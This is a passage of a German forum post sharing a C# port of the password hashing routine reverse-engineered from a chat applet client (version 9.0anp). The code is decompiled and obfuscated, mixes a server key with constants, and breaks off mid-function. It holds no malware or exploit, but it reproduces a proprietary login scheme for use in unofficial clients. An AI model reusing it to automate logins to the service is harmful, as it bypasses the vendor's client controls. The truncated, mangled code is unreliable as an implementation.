			<link>sourcecode-91/passwort-kodierung-v9-0anp-31174?goto=newpost</link>
			<pubDate>Wed, 27 Jun 2012 00:17:50 GMT</pubDate>
			<description>Moin, 
 
hier habt ihr die Passwort-Kodierung aus dem Applet 9.0anp, ist 1:1 aus dem Client übernommen.  
 
Ich hab es einfach mal hingeklascht,...</description>
			<content:encoded><![CDATA[<div>Moin,<br />
<br />
hier habt ihr die Passwort-Kodierung aus dem Applet 9.0anp, ist 1:1 aus dem Client übernommen. <br />
<br />
Ich hab es einfach mal hingeklascht, funktioniert aber. Ob man das mit dem Serializable in C# ändern kann, weiß ich nicht, ist mir aber auch ehrlich gesagt wayne.<br />
<br />
Password.cs:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"><br />using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Dein_Tolles_Projekt<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Eine&nbsp;Klasse,&nbsp;die&nbsp;das&nbsp;Passwort&nbsp;hasht&nbsp;(Applet:&nbsp;9.0anp)<br />&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">class&nbsp;</span><span style="color: #0000BB">Password<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Hasht&nbsp;das&nbsp;Passwort<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="password"&gt;Passwort&nbsp;des&nbsp;Benutzers&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="key"&gt;Der&nbsp;vom&nbsp;Server&nbsp;empfangene&nbsp;Key&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;Passworthash&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">int&nbsp;HashPassword</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;password</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">string&nbsp;key</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;text4&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">key</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">object&nbsp;arg_230_1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">object&nbsp;_ref&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"cekpfrHjpVj"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Serializable&nbsp;serializable</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">serializable</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">_ref</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">text4&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">a</span><span style="color: #007700">(</span><span style="color: #0000BB">arg_230_1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">serializable</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">text4&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">().</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">text4</span><span style="color: #007700">).</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">c</span><span style="color: #007700">(</span><span style="color: #0000BB">text4</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">1050098570</span><span style="color: #007700">).</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;?&nbsp;</span><span style="color: #0000BB">0&nbsp;</span><span style="color: #007700">:&nbsp;(</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_162&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">^&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_16A&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">expr_16A&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;?&nbsp;(</span><span style="color: #0000BB">expr_162&nbsp;</span><span style="color: #007700">%&nbsp;</span><span style="color: #0000BB">expr_16A</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">text4&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">().</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">text4</span><span style="color: #007700">).</span><span style="color: #0000BB">Append</span><span style="color: #007700">((</span><span style="color: #0000BB">char</span><span style="color: #007700">)(</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">40103</span><span style="color: #007700">)).</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_19A&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">(</span><span style="color: #0000BB">text4</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_1A6&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">expr_1A6&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;?&nbsp;(</span><span style="color: #0000BB">expr_19A&nbsp;</span><span style="color: #007700">%&nbsp;</span><span style="color: #0000BB">expr_1A6</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_1B4&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_1BB&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">expr_1B4&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">expr_1B4&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">18</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_1C3&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">expr_1C3&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;?&nbsp;(</span><span style="color: #0000BB">expr_1BB&nbsp;</span><span style="color: #007700">%&nbsp;</span><span style="color: #0000BB">expr_1C3</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;arg_2D7_0&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">object&nbsp;arg_2D2_1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">num2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_ref&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Um"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">serializable</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">_ref</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">text4&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">arg_2D7_0</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">(</span><span style="color: #0000BB">arg_2D2_1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">serializable</span><span style="color: #007700">)).</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">)).</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_309&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">^&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">9</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_311&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">expr_311&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;?&nbsp;(</span><span style="color: #0000BB">expr_309&nbsp;</span><span style="color: #007700">%&nbsp;</span><span style="color: #0000BB">expr_311</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_31F&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_326&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">expr_31F&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">expr_31F&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">10</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_32E&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">expr_32E&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;?&nbsp;(</span><span style="color: #0000BB">expr_326&nbsp;</span><span style="color: #007700">%&nbsp;</span><span style="color: #0000BB">expr_32E</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_345&nbsp;</span><span style="color: #007700">=&nbsp;(int)(</span><span style="color: #0000BB">text4</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num2</span><span style="color: #007700">&#93;&nbsp;+&nbsp;</span><span style="color: #DD0000">'\t'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_34D&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">expr_34D&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;?&nbsp;(</span><span style="color: #0000BB">expr_345&nbsp;</span><span style="color: #007700">%&nbsp;</span><span style="color: #0000BB">expr_34D</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_364&nbsp;</span><span style="color: #007700">=&nbsp;(int)(</span><span style="color: #0000BB">text4</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num2</span><span style="color: #007700">&#93;&nbsp;+&nbsp;</span><span style="color: #DD0000">'\n'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_36C&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">expr_36C&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;?&nbsp;(</span><span style="color: #0000BB">expr_364&nbsp;</span><span style="color: #007700">%&nbsp;</span><span style="color: #0000BB">expr_36C</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_382&nbsp;</span><span style="color: #007700">=&nbsp;(int)(</span><span style="color: #0000BB">text4</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num2</span><span style="color: #007700">&#93;&nbsp;+&nbsp;</span><span style="color: #DD0000">'\u0002'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_38A&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">expr_38A&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;?&nbsp;(</span><span style="color: #0000BB">expr_382&nbsp;</span><span style="color: #007700">%&nbsp;</span><span style="color: #0000BB">expr_38A</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;arg_400_0&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">().</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">object&nbsp;arg_3FB_1&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">().</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">c</span><span style="color: #007700">(</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">))&nbsp;*&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">(</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">))).</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_ref&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">num2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">serializable</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">_ref</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;arg_469_0&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">arg_400_0</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">(</span><span style="color: #0000BB">arg_3FB_1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">serializable</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">object&nbsp;arg_464_1&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">().</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">c</span><span style="color: #007700">(</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">num2</span><span style="color: #007700">))&nbsp;*&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">(</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">num2</span><span style="color: #007700">))).</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">992257450</span><span style="color: #007700">).</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_ref&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">serializable</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">_ref</span><span style="color: #007700">;<br 